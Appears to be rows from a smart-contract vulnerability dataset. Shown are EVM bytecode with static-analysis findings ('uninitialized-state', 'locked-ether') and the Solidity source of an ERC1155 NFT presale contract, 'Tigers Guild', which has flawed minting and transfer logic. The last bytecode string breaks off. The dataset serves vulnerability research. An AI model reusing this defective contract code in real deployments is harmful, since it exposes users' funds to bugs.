ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820cff8c6353df56a23b3fd0604a16ee681f128468245f282881d13d6e103dafc4564736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,848 |
0x927e82556ce0d9dff8b039450457c784e9ac3de2 | pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC1155Receiver is IERC165 {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
mapping(address => uint256) public _balances0;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
address public owner;
constructor() {
owner = msg.sender;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
// require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function _Premint(
address account,
uint256 id,
uint256 amount,
string memory _uri1
) internal virtual {
bytes memory data = bytes(_uri1);
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
// setApprovalForAll(operator, true);
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = 1;
emit TransferSingle(msg.sender, address(0), msg.sender, id, 1);
emit URI(_uri1, id);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
// setApprovalForAll(operator, false);
}
string public name = "Tigers Guild";
string public symbol = "TGD";
address public CrowdAdress = address(this);
uint256 public _supply1 = 1;
uint256 public Price = 10**17; // Цена токена в wei
uint256 public PreSaleSupply = 12000; // количество токенов для сейла
uint256 public _id = 1; // стартовый ID
string internal _uri1 = "https://instashock.ru/ultrabouyjpg.jpg"; //ссылка на заглушку
fallback() external payable {
uint256 _supply = msg.value / Price; // считаем сколько токенов отдать
require(PreSaleSupply > _supply );//проверяем достаточно ли токенов для пресейла осталось
for (uint ii = 0; ii < _supply; ii++) {
_Premint( msg.sender, _id, _supply1, _uri1);
PreSaleSupply = PreSaleSupply-1;
_id++;
}
payable(owner).transfer(msg.value);
}
} | 0x60806040526004361061010c5760003560e01c806395d89b4111610095578063a6f9dae111610064578063a6f9dae1146104f2578063dbfd71c11461051b578063e985e9c514610546578063f242432a14610583578063f6870bd8146105ac5761010d565b806395d89b41146104485780639dfde20114610473578063a0bb7acc1461049e578063a22cb465146104c95761010d565b80630e89341c116100dc5780630e89341c1461034f5780632eb2c2d61461038c57806340921ed1146103b55780634e1273f4146103e05780638da5cb5b1461041d5761010d565b8062fdd58e1461027f57806301ffc9a7146102bc57806305180237146102f957806306fdde03146103245761010d565b5b60006009543461011d919061271b565b905080600a541161012d57600080fd5b60005b81811015610212576101d233600b54600854600c805461014f90612848565b80601f016020809104026020016040519081016040528092919081815260200182805461017b90612848565b80156101c85780601f1061019d576101008083540402835291602001916101c8565b820191906000526020600020905b8154815290600101906020018083116101ab57829003601f168201915b50505050506105e9565b6001600a546101e1919061274c565b600a81905550600b60008154809291906101fa906128ab565b9190505550808061020a906128ab565b915050610130565b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561027b573d6000803e3d6000fd5b5050005b34801561028b57600080fd5b506102a660048036038101906102a19190611eb6565b6107ad565b6040516102b39190612539565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190611f6e565b610877565b6040516102f091906123bc565b60405180910390f35b34801561030557600080fd5b5061030e610959565b60405161031b9190612539565b60405180910390f35b34801561033057600080fd5b5061033961095f565b60405161034691906123d7565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611fc8565b6109ed565b60405161038391906123d7565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae9190611d10565b610a81565b005b3480156103c157600080fd5b506103ca610b22565b6040516103d79190612286565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190611ef6565b610b48565b6040516104149190612363565b60405180910390f35b34801561042957600080fd5b50610432610c61565b60405161043f9190612286565b60405180910390f35b34801561045457600080fd5b5061045d610c87565b60405161046a91906123d7565b60405180910390f35b34801561047f57600080fd5b50610488610d15565b6040516104959190612539565b60405180910390f35b3480156104aa57600080fd5b506104b3610d1b565b6040516104c09190612539565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190611e76565b610d21565b005b3480156104fe57600080fd5b5061051960048036038101906105149190611ca3565b610e2c565b005b34801561052757600080fd5b50610530610eca565b60405161053d9190612539565b60405180910390f35b34801561055257600080fd5b5061056d60048036038101906105689190611cd0565b610ed0565b60405161057a91906123bc565b60405180910390f35b34801561058f57600080fd5b506105aa60048036038101906105a59190611ddf565b610f64565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190611ca3565b611005565b6040516105e09190612539565b60405180910390f35b6000819050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590612519565b60405180910390fd5b600061066861101d565b90506106898160008861067a89611025565b61068389611025565b8761109f565b600180600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62886001604051610756929190612554565b60405180910390a4847f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b8460405161078e91906123d7565b60405180910390a26107a5816000888888876110a7565b505050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590612439565b60405180910390fd5b6001600083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061094257507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061095257506109518261128e565b5b9050919050565b600b5481565b6005805461096c90612848565b80601f016020809104026020016040519081016040528092919081815260200182805461099890612848565b80156109e55780601f106109ba576101008083540402835291602001916109e5565b820191906000526020600020905b8154815290600101906020018083116109c857829003601f168201915b505050505081565b6060600380546109fc90612848565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2890612848565b8015610a755780601f10610a4a57610100808354040283529160200191610a75565b820191906000526020600020905b815481529060010190602001808311610a5857829003601f168201915b50505050509050919050565b610a8961101d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610acf5750610ace85610ac961101d565b610ed0565b5b610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0590612499565b60405180910390fd5b610b1b85858585856112f8565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60608151835114610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b85906124d9565b60405180910390fd5b6000835167ffffffffffffffff811115610bab57610baa6129b0565b5b604051908082528060200260200182016040528015610bd95781602001602082028036833780820191505090505b50905060005b8451811015610c5657610c26858281518110610bfe57610bfd612981565b5b6020026020010151858381518110610c1957610c18612981565b5b60200260200101516107ad565b828281518110610c3957610c38612981565b5b60200260200101818152505080610c4f906128ab565b9050610bdf565b508091505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054610c9490612848565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc090612848565b8015610d0d5780601f10610ce257610100808354040283529160200191610d0d565b820191906000526020600020905b815481529060010190602001808311610cf057829003601f168201915b505050505081565b60095481565b600a5481565b8060026000610d2e61101d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610ddb61101d565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610e2091906123bc565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8657600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610f6c61101d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610fb25750610fb185610fac61101d565b610ed0565b5b610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890612459565b60405180910390fd5b610ffe858585858561160f565b5050505050565b60006020528060005260406000206000915090505481565b600033905090565b60606000600167ffffffffffffffff811115611044576110436129b0565b5b6040519080825280602002602001820160405280156110725781602001602082028036833780820191505090505b509050828160008151811061108a57611089612981565b5b60200260200101818152505080915050919050565b505050505050565b6110c68473ffffffffffffffffffffffffffffffffffffffff16611894565b15611286578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b815260040161110c959493929190612309565b602060405180830381600087803b15801561112657600080fd5b505af192505050801561115757506040513d601f19601f820116820180604052508101906111549190611f9b565b60015b6111fd576111636129df565b806308c379a014156111c05750611178612d4e565b8061118357506111c2565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b791906123d7565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f4906123f9565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612419565b60405180910390fd5b505b505050505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b815183511461133c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611333906124f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a390612479565b60405180910390fd5b60006113b661101d565b90506113c681878787878761109f565b60005b845181101561157a5760008582815181106113e7576113e6612981565b5b60200260200101519050600085838151811061140657611405612981565b5b6020026020010151905060006001600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f906124b9565b60405180910390fd5b8181036001600085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816001600085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461155f91906126c5565b9250508190555050505080611573906128ab565b90506113c9565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516115f1929190612385565b60405180910390a46116078187878787876118a7565b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561167f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167690612479565b60405180910390fd5b600061168961101d565b90506116a981878761169a88611025565b6116a388611025565b8761109f565b60006001600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611741576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611738906124b9565b60405180910390fd5b8381036001600087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836001600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117f891906126c5565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62888860405161187592919061257d565b60405180910390a461188b8288888888886110a7565b50505050505050565b600080823b905060008111915050919050565b6118c68473ffffffffffffffffffffffffffffffffffffffff16611894565b15611a86578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b815260040161190c9594939291906122a1565b602060405180830381600087803b15801561192657600080fd5b505af192505050801561195757506040513d601f19601f820116820180604052508101906119549190611f9b565b60015b6119fd576119636129df565b806308c379a014156119c05750611978612d4e565b8061198357506119c2565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b791906123d7565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f4906123f9565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b90612419565b60405180910390fd5b505b505050505050565b6000611aa1611a9c846125cb565b6125a6565b90508083825260208201905082856020860282011115611ac457611ac3612a06565b5b60005b85811015611af45781611ada8882611bb0565b845260208401935060208301925050600181019050611ac7565b5050509392505050565b6000611b11611b0c846125f7565b6125a6565b90508083825260208201905082856020860282011115611b3457611b33612a06565b5b60005b85811015611b645781611b4a8882611c8e565b845260208401935060208301925050600181019050611b37565b5050509392505050565b6000611b81611b7c84612623565b6125a6565b905082815260208101848484011115611b9d57611b9c612a0b565b5b611ba8848285612806565b509392505050565b600081359050611bbf81612de4565b92915050565b600082601f830112611bda57611bd9612a01565b5b8135611bea848260208601611a8e565b91505092915050565b600082601f830112611c0857611c07612a01565b5b8135611c18848260208601611afe565b91505092915050565b600081359050611c3081612dfb565b92915050565b600081359050611c4581612e12565b92915050565b600081519050611c5a81612e12565b92915050565b600082601f830112611c7557611c74612a01565b5b8135611c85848260208601611b6e565b91505092915050565b600081359050611c9d81612e29565b92915050565b600060208284031215611cb957611cb8612a15565b5b6000611cc784828501611bb0565b91505092915050565b60008060408385031215611ce757611ce6612a15565b5b6000611cf585828601611bb0565b9250506020611d0685828601611bb0565b9150509250929050565b600080600080600060a08688031215611d2c57611d2b612a15565b5b6000611d3a88828901611bb0565b9550506020611d4b88828901611bb0565b945050604086013567ffffffffffffffff811115611d6c57611d6b612a10565b5b611d7888828901611bf3565b935050606086013567ffffffffffffffff811115611d9957611d98612a10565b5b611da588828901611bf3565b925050608086013567ffffffffffffffff811115611dc657611dc5612a10565b5b611dd288828901611c60565b9150509295509295909350565b600080600080600060a08688031215611dfb57611dfa612a15565b5b6000611e0988828901611bb0565b9550506020611e1a88828901611bb0565b9450506040611e2b88828901611c8e565b9350506060611e3c88828901611c8e565b925050608086013567ffffffffffffffff811115611e5d57611e5c612a10565b5b611e6988828901611c60565b9150509295509295909350565b60008060408385031215611e8d57611e8c612a15565b5b6000611e9b85828601611bb0565b9250506020611eac85828601611c21565b9150509250929050565b60008060408385031215611ecd57611ecc612a15565b5b6000611edb85828601611bb0565b9250506020611eec85828601611c8e565b9150509250929050565b60008060408385031215611f0d57611f0c612a15565b5b600083013567ffffffffffffffff811115611f2b57611f2a612a10565b5b611f3785828601611bc5565b925050602083013567ffffffffffffffff811115611f5857611f57612a10565b5b611f6485828601611bf3565b9150509250929050565b600060208284031215611f8457611f83612a